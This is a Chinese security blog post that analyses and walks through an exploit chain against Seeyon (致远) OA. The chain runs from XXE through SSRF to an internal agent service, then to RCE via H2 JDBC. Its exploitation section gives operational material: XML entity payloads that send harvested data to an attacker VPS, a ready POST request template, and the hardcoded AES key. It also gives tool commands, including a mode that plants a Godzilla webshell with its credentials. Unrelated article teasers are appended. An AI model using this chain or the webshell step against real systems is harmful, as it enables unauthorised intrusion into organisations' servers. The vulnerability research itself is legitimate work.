【新】致远OA从前台XXE到RCE漏洞分析
0x01 前言
致远OA是目前国内最流行的OA系统之一,前几年也曾爆出过多个安全漏洞。致远官方一直对修复漏洞的态度十分积极,目前能有效利用的致远漏洞已经很少了。
和我们之前分享过的通达OA的漏洞类似,这类主流OA系统现在想要直接一步达到RCE的效果是非常困难的。今天跟大家分享一个通过组合漏洞方式来对致远OA进行RCE的案例,整个利用过程分成多个步骤,应该算是XXE漏洞的典型深入应用场景。
在今年8月的某攻防演练活动中笔者利用此漏洞拿到多个目标的边界权限,后续也将该漏洞也报送给了官方,目前已在新版本中修复。本文仅以安全研究为目的,分享对该漏洞的挖掘和分析过程,文中涉及的所有漏洞均已报送给国家单位,请勿用做非法用途。
0x02 XXE漏洞
致远OA多个版本(A8, A8+, A6)中均存在一个XXE漏洞,在com.kg.web.action.RunSignatureAction类中接收外部输入的参数xmlValue。
info.setTextinfo(textinfo);
String xml = ctx.getParameter("xmlValue", new String[0]);
String signature = null;
if (this.jsNotNull(xml)) {
signature = exec.runSignature(info, xml);
} else {
String protectedData = this.getProtectedData(ctx);
signature = exec.runSignature(info, this.getProtectedDataList(protectedData));
}
如果不为空,则进入runSignature方法。
public String runSignature(KgSignatureInfo info, String protectedXml) {
List<KgProtectedData> data = this.xmlToList(protectedXml);
this.put(KgSignName.FIELDXML, protectedXml);
return this.runSignature(info, data);
}
继续跟踪进入xmlToList方法。
public List<KgProtectedData> xmlToList(String protectedXml) throws KgException {
ArrayList protectedDatas = new ArrayList();
try {
List<Element> s = this.getNodes(protectedXml, "/Signature/Field");
继续跟踪,进入getNodes方法,这里就是很明显的XXE漏洞位置。
private List<Element> getNodes(String xmlString, String xpath) {
ArrayList tmpList = null;
try {
SAXReader saxReader = new SAXReader();
Reader xml_sr = new StringReader(xmlString);
saxReader.setEncoding("UTF-8");
Document document = saxReader.read(xml_sr);
if (document.getRootElement() == null) {
throw new KgException(new KgCommonsError("XmlParser Object hasn't RootElement.", KgCommonsError.SYSTEM_ERROR.getCode()));
} else {
List<?> contexts = document.selectNodes(xpath);
tmpList = new ArrayList();
for(int i = 0; i < contexts.size(); ++i) {
if (contexts.get(i) instanceof Element) {
tmpList.add((Element)contexts.get(i));
}
}
return tmpList;
}
}
完整的payload如下,发送下面的请求,触发XXE的SSRF功能。相应内容如下代表存在漏洞。如图2.1所示
图2.1 存在SSRF漏洞的页面响应
图2.2 利用XXE产生SSRF请求
0x03 RCE漏洞
在java环境下是不能直接通过XXE来执行系统命令的,并且这里的XXE是不具有回显的功能,仅能通过XXE来达到SSRF的效果,并且只能进行GET类型的请求。如何通过SSRF来达到RCE的效果是充分利用此漏洞的关键。
本人在分析致远的系统服务的过程中发现致远在某些情况下会开放60001端口,一般是监听在本地地址127.0.0.1的。服务是由一个名为agent.jar的包提供的服务,如图3.1所示。
图3.1 agent.jar开放的60001端口服务
在com.seeyon.agent.sfu.server.apps.configuration.controller.ConfigurationController类中定义了方法testDBConnect,如图3.2所示。
图3.2 testDBConnection方法定义
继续跟踪this.configurationManager.testDBConnect方法,如图3.3所示。这个方法的主要作用是用于测试数据库连接,并且允许自定义连接驱动类。
图3.3 允许自定义driverClass
在文章https://paper.seebug.org/1832/中详细介绍了基于JDBC Connection URL的利用方法,其中最简单的是使用通过h2数据库来达到RCE效果,如图3.4所示。对原理感兴趣的小伙伴可以参考原文。
图3.4 通过H2数据库达到RCE效果
到这一步已经可以看出整个命令执行的大致逻辑是通过XXE来执行SSRF请求,通过SSRF访问致远60001端口中的testDBConnection方法,并且传递恶意的driverClass和dbUrl来达到RCE的效果。
然而现实情况下确远没有这么简单,直接访问上面的testDBConnection,会报“非法访问的错误”,如图3.5所示。
图3.5 直接访问testDBConnection报错
根据错误提示反向找到对应的逻辑代码com.seeyon.agent.common.interceptor. SecurityInterceptor的preHandle方法,这应该是全局的拦截器,其中关键的代码如图3.6所示。
图3.6 根据错误提示反响找到验证代码逻辑
从这段代码中可以清晰的看出需要传入参数ad,并且有对ad参数进行有效校验的方法isChecktoken,跟踪isChecktoken方法。
图3.7 isChecktoken方法逻辑判断
isChecktoken方法很简单,其中tokenMap是静态属性,默认为空。需要找到为tokenMap赋值的办法。在这个逻辑卡了很久,很长一段时间都以为没办法利用,后来找到了一个可以为tokenMap写入数据的办法com.seeyon.agent.common.getway.getToken方法,如图3.8,图3.9所示。
图3.8 通过传入的seeyon参数进行AES解密获取字段
图3.9 生成token并响应token结果
跟踪生成token的TokenUtils.getToken方法,如图3.10所示。这里会生成一个随机的token名称,并保存到tokenMap的静态属性中,与图3.7需要的逻辑判断相呼应。
图3.10 生成token并保存到静态属性tokenMap中
但是这里还有两个问题需要处理,一个是图3.8中AES加密的密钥是多少,另一个是传入的参数signature如何进行签名验证。第一个问题需要跟踪AESUtil.Decrypt方法,如图3.11所示,密钥和偏移量iv都为0102030405060708,典型的硬编码问题。第二个问题是签名校验时只是把传入的参数进行sha1计算,然后比较值,如图3.12所示。
图3.11 通过硬编码实现的AES解密
图3.12 通过sha1签名进行校验
到这一步还是不能没有完全解决我们的问题,因为我们在图3.8说了需要传入的参数包括username、pwd和versions这些参数。那么这些参数是怎么来的呢?
1)username参数可以传默认存在的用户名seeyon
2)pwd参数我没有找到默认的值,但是找到了一个任意用户密码重置的接口(这里的用户并不是致远前台WEB的用户,而是60001接口对应的用户)。在com.seeyon.agent.common.controller.ConfigController类的modifyDefaultUserInfo方法中提供了重置用户密码的接口,并且不需要认证,如图3.13所示。
图3.13 通过modifyDefaultUserInfo方法来充值seeyon用户密码
3)versions参数也没有默认值,versions参数来源于当前目标系统版本,实际环境中可能存在多种不同的值2.1.0,2.3.4等都有可能。可以通过接口com.seeyon.agent.common.controller.VersionController类的getVersion方法获取,如图3.14所示。
图3.14 通过getVersion方法获取当前目标致远版本号
到目前为止就分析了完整的漏洞利用过程,整个过程分成多个步骤,漏洞利用过程比较复杂。
0x04 漏洞利用
漏洞分析过程已经在上面的文章中体现了,整个流程还是非常复杂的,感兴趣的同学可以自己去复现。另外我把整个漏洞利用过程写成了一个简单的工具,并整理为下面的步骤。下载的工具解压之后如图4.1所示。
工具下载链接:
https://www.ddpoc.com/poc/DVB-2023-5278.html
图4.1 致远XXE综合利用工具
> Step1:
把124.xml、125.xml和126.xml上传到自己的vps上,并开启WEB访问。
> Step2:
修改124.xml文件中第二个请求的地址为自己的vps地址,如下所示。
<!ENTITY % file SYSTEM "http://127.0.0.1:60001/agent/config/modifyDefaultUserInfo?pwd=TVRJek5EVTI=">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://yourvps:yourport/123.php?p=%file;'>">
> Step3:
生成重置密码的POC,使用下面的命令,保证124.xml能正常访问到。
java -cp seeyon.jar Main reset http://yourvps:yourport/124.xml
图4.2 生成重置密码POC
通过获取的payload,修改xmlValue字段的值。后续请求会多次利用下面的请求发起SSRF行为,后续简称SSRF请求。
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet?S=ajaxEdocSummaryManager&M=deleteUpdateObj HTTP/1.1
Host: target.host
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 302
signatures=YWFh02JiYitY2M%3D&encode=true&elemId=YWFh&imgvalue=MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDVNVEl=&xmlValue={payload}
正常来说VPS部分会收到下面的请求,如图4.3所示。如果收到124.xml的请求代表目标存在XXE漏洞;如果收到123.php的请求代表可以对目标进行RCE。
图4.3 重置密码的服务端请求
> Step4:
修改125.xml文件中第二个请求的地址为自己的vps地址,如下所示。
<!ENTITY % file SYSTEM "http://127.0.0.1:60001/agent/version/getVersion">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://yourvps:yourport/123.php?p=%file;'>">
> Step5:
生成获取系统版本的POC,使用下面的命令,保证125.xml能正常访问到。
java -cp seeyon.jar Main version http://yourvps:yourport/125.xml
图4.4 生成获取系统版本POC
修改SSRF请求中的payload为生成的POC,发送请求,可以在服务器端查看获取到的版本信息,如图4.5所示。
图4.5 通过界面响应获取版本信息
> Step6:
生成获取param需要的POC,使用下面的命令,其中最后的版本替换为上一步获取的版本,如图4.6所示。
java -cp seeyon.jar Main param 2.0.8
图4.6 生成获取token需要的参数seeyon和signature
> Step7:
修改126.xml文件中的内容,替换为自己地址,需要注意的是这里必须替换参数seeyon和signature中的值为上一步生成的值,如图4.7所示。
图4.7 修改126.xml文件中内容
> Step8:
生成获取token需要的POC,使用下面的命令,如图4.8所示。
java -cp seeyon.jar Main token http://yourvps:yourport/126.xml
图4.8 生成获取token需要的POC
修改SSRF请求中的payload为生成的POC,发送请求,可以在服务器端查看获取到的版本信息,如图4.9所示。
图4.9 获取token
> Step9:
生成最终利用的POC和EXP,使用下面的命令。其中token需要替换为上一步获取的token。
java -cp seeyon.jar Main rce 26926456886553:7RU5MTY4OTc1NDg1NjI4OA==4AA test #探测漏洞 java -cp seeyon.jar Main rce 26926456886553:7RU5MTY4OTc1NDg1NjI4OA==4AA gsl #生成哥斯拉webshell
工具提供两种方式test和gsl,其中test在目标服务器上生成一个seeyon.txt的文件,对应的访问方式为http://www.target.com/seeyon.txt,仅用于测试目的;gsl在目标服务器上传哥斯拉webshell,对应的访问访问为http://www.target.com/logon.jsp 111/111。
图4.10 生成用于测试用的test POC
修改SSRF请求中的payload为生成的POC,发送请求。查看目标服务器的
seeyon.txt文件,如图4.11所示。
图4.11 验证漏洞利用是否成功
0x05 结论
由于这个漏洞已经在手里太长时间了,很多分析是一年以前写的,写这篇文章的时候并没有完整的跟踪整个漏洞,其中细节难免有疏忽,如有不对的地方欢迎大家给我们留言。结合上面的分析可以看出致远OA能RCE的前提条件包括:
1、目标服务器出网
2、目标致远开启了60001端口
第一个条件是很容易满足的,因为现在致远的服务器需要在线更新,所以基本上都是出网的;第二个条件不一定满足,从实网测绘数据来看约有1/3的致远OA是开启了这个端口的。
本文仅以提供技术交流为目的,所有漏洞均已上报相关单位,请勿将本文工具用于非法网络攻击目的。
相关文章:

【新】致远OA从前台XXE到RCE漏洞分析
0x01 前言 致远OA是目前国内最流行的OA系统之一,前几年也曾爆出过多个安全漏洞。致远官方一直对修复漏洞的态度十分积极,目前能有效利用的致远漏洞已经很少了。 和我们之前分享过的通达OA的漏洞类似,这类主流OA系统现在想要直接一步达到RCE的…...

宠物领养系统jsp+servlet+mysql
设计不同用户的操作权限、注册和登录方法。 管理员可以在管理员管理、用户管理、宠物管理、评论管理、团队活动管理、志愿者的申请等等模块中进行查询、添加、删除、修改。 管理员可以在领养管理中通过领养时间查询所有宠物被领养的信息,修改是否同意领养宠物&#…...

MySQL 数据库安全性练习题
数据库安全性 一、实验目的 (1)熟悉通过MySQL对数据进行安全性控制 二、实验环境 Windows 11 MySQL Navicat 三、实验内容 今有以下两个关系模式: 职工(职工号,姓名,年龄,职务,工…...

如何使用Node.js快速创建HTTP服务器并实现公网访问本地Server
文章目录 前言1.安装Node.js环境2.创建node.js服务3. 访问node.js 服务4.内网穿透4.1 安装配置cpolar内网穿透4.2 创建隧道映射本地端口 5.固定公网地址 前言 Node.js 是能够在服务器端运行 JavaScript 的开放源代码、跨平台运行环境。Node.js 由 OpenJS Foundation࿰…...

zigbee路灯无线通讯机制
zigbee路灯无线通讯机制 wang20160630 前言 目前路灯上通讯主要有电力载波和无线通讯;各有利弊,众说纷纭;本文不对两种技术进行比较,也不讨论哪种好,毕竟同种通讯模块,有的开发出来稳定,有的…...
asp.net docker-compose添加kafka和redis和zookeeper
docker-compose.yml添加 redis:image: redis:alpinekafka:image: "bitnami/kafka:3.1.1"depends_on:- zookeeperzookeeper:image: "bitnami/zookeeper:3.5.10" docker-compose.override.yml添加 redis:ports:- "6379"kafka:links: - zookeepere…...

2024上海国际人工智能展(CSITF)“创新驱动发展·科技引领未来”
人工智能(Artificial Intelligence,AI)作为当今世界科技发展的关键领域之一,正不断推动着各行各业的创新和变革。作为世界上最大的消费市场之一,中国正在积极努力将AI技术与产业融合并加速推广应用。在这个背景下&…...

汽车标定技术(三)--XCP协议如何支持测量功能
目录 1. 概述 2. 测量方式 -- Poll 3. 测量方式 -- DAQ 3.1 ODT概念模型 3.2 DAQ List概念 3.3 ODT 绝对编号和相对编号 3.4 静态DAQ和动态DAQ模式 (1)静态DAQ (2)动态DAQ 4.小结 1. 概述 在该系列的首篇文章汽车标定技…...
[c++]你最喜爱的stringstream和snprintf性能深入剖析
最近写一个程序中两个差不多的模块,一个使用了snprintf输出中间数据,另一个偷懒使用stringstream。结果你猜怎么着?居然压帧了!!到底是谁拖了性能的后退? 来自阿里云的性能分析实验 我上网一搜࿰…...

windows 用vs创建cmake工程并编译opencv应用项目生成exe流程简述
目录 前言一、安装opencv(1)下载(2)双击安装(3)环境变量和system文件夹设置 二、打开vs创建项目三、编辑cpp,.h,cmakelist.txt文件(1)h文件(2&…...

QML 仪表盘小示例
本次项目已发布在CSDN->GitCode,下载方便,安全,可在我主页进行下载即可,后面的项目和素材都会发布这个平台。 个人主页:https://gitcode.com/user/m0_45463480怎么下载:在项目中点击克隆,windows:zip linux:tar.gz tar # .pro TEMPLATE = appTARGET = dialcontrol#…...

力扣206. 反转链表
题目: 给你单链表的头节点 head ,请你反转链表,并返回反转后的链表。 示例1: 输入:head [1,2,3,4,5] 输出:[5,4,3,2,1] 示例 2: 输入:head [1,2] 输出:[2,1] 示例 3:…...

深度学习之基于Tensorflow卷积神经网络花卉识别系统
欢迎大家点赞、收藏、关注、评论啦 ,由于篇幅有限,只展示了部分核心代码。 文章目录 一项目简介 二、功能三、系统四. 总结 一项目简介 深度学习是一种机器学习方法,它通过模拟人脑神经网络的结构和功能来实现对数据的自动分析和学习。卷积神…...

leetcode链表
这几天手的骨裂稍微好一点了,但是还是很疼,最近学校的课是真多,我都没时间做自己的事,但是好在今天下午是没有课的,我也终于可以做自己的事情了。 今天分享几道题目 移除链表元素 这道题我们将以两种方法开解决&…...

Kali Linux渗透测试的艺术
Kali Linux(Kali)是专门用于渗透测试的Linux操作系统,它由BackTrack 发展而来。在整合了IWHAX、WHOPPIX 和Auditor 这3 种渗透测试专用Live Linux 之后,BackTrack正式改名为Kali Linux。 BackTrack是相当著名的Linux发行版本。在…...

2023年最新版潮乎盲盒源码含搭建教程
后台开发语言:后端 Laravel 框架开发 前端开发框架:uniappvue 环境配置: php7.4 mysql5.6 nginx1.22 redis(建议宝塔面板或 lnmp) 源码获取请自行百度:一生相随博客 一生相随博客致力于分享全网优质资源&#x…...

[GitLab] 安装Git 指定版本
卸载旧版本 检查是否已经安装 git --version如果已经安装,先卸载 yum -y remove git安装新版本 在GitHub上选择需要下载的版本 Git版本 在/usr/local/目录下新建文件夹:git,并在/usr/local/git/文件夹内下载压缩包 wget https://github…...
vue中ref和$refs
1.作用 利用ref 和 $refs 可以用于 获取 dom 元素 或 组件实例,也可以在父组件获取子组件,从而调用子组件的方法。 2.特点: 查找范围 → 当前组件内(更精确稳定) 3.语法 1.给要获取的盒子添加ref属性 <div ref"chartRef"&…...

CRM怎样帮助您的企业进行营销管理?
CRM助力企业营销管理,为企业降本增效提升投入产出比。CRM软件是如何实现的呢? 扩大线索量 想要精准获客的第一步是要扩大线索量,多渠道营销推广是很好的方法。例如: 1.线下展会线上Webinar等市场活动 2.搭建微信、微博、…...
Gerrrit 管理员常用命令
1. replication插件重新加载 当修改replication配置文件(replication.config),需要重启gerrit生效,或者重新加载replication。 # 重新加载replication插件 ssh -p 29418 usernamegerrit.company.com gerrit plugin reload repli…...
谷歌浏览器插件
项目中有时候会用到插件 sync-cookie-extension1.0.0:开发环境同步测试 cookie 至 localhost,便于本地请求服务携带 cookie 参考地址:https://juejin.cn/post/7139354571712757767 里面有源码下载下来,加在到扩展即可使用FeHelp…...

Linux 文件类型,目录与路径,文件与目录管理
文件类型 后面的字符表示文件类型标志 普通文件:-(纯文本文件,二进制文件,数据格式文件) 如文本文件、图片、程序文件等。 目录文件:d(directory) 用来存放其他文件或子目录。 设备…...
QMC5883L的驱动
简介 本篇文章的代码已经上传到了github上面,开源代码 作为一个电子罗盘模块,我们可以通过I2C从中获取偏航角yaw,相对于六轴陀螺仪的yaw,qmc5883l几乎不会零飘并且成本较低。 参考资料 QMC5883L磁场传感器驱动 QMC5883L磁力计…...

Mybatis逆向工程,动态创建实体类、条件扩展类、Mapper接口、Mapper.xml映射文件
今天呢,博主的学习进度也是步入了Java Mybatis 框架,目前正在逐步杨帆旗航。 那么接下来就给大家出一期有关 Mybatis 逆向工程的教学,希望能对大家有所帮助,也特别欢迎大家指点不足之处,小生很乐意接受正确的建议&…...
【RockeMQ】第2节|RocketMQ快速实战以及核⼼概念详解(二)
升级Dledger高可用集群 一、主从架构的不足与Dledger的定位 主从架构缺陷 数据备份依赖Slave节点,但无自动故障转移能力,Master宕机后需人工切换,期间消息可能无法读取。Slave仅存储数据,无法主动升级为Master响应请求ÿ…...
Angular微前端架构:Module Federation + ngx-build-plus (Webpack)
以下是一个完整的 Angular 微前端示例,其中使用的是 Module Federation 和 npx-build-plus 实现了主应用(Shell)与子应用(Remote)的集成。 🛠️ 项目结构 angular-mf/ ├── shell-app/ # 主应用&…...
iOS性能调优实战:借助克魔(KeyMob)与常用工具深度洞察App瓶颈
在日常iOS开发过程中,性能问题往往是最令人头疼的一类Bug。尤其是在App上线前的压测阶段或是处理用户反馈的高发期,开发者往往需要面对卡顿、崩溃、能耗异常、日志混乱等一系列问题。这些问题表面上看似偶发,但背后往往隐藏着系统资源调度不当…...
CppCon 2015 学习:Time Programming Fundamentals
Civil Time 公历时间 特点: 共 6 个字段: Year(年)Month(月)Day(日)Hour(小时)Minute(分钟)Second(秒) 表示…...

WebRTC调研
WebRTC是什么,为什么,如何使用 WebRTC有什么优势 WebRTC Architecture Amazon KVS WebRTC 其它厂商WebRTC 海康门禁WebRTC 海康门禁其他界面整理 威视通WebRTC 局域网 Google浏览器 Microsoft Edge 公网 RTSP RTMP NVR ONVIF SIP SRT WebRTC协…...
数据库——redis
一、Redis 介绍 1. 概述 Redis(Remote Dictionary Server)是一个开源的、高性能的内存键值数据库系统,具有以下核心特点: 内存存储架构:数据主要存储在内存中,提供微秒级的读写响应 多数据结构支持&…...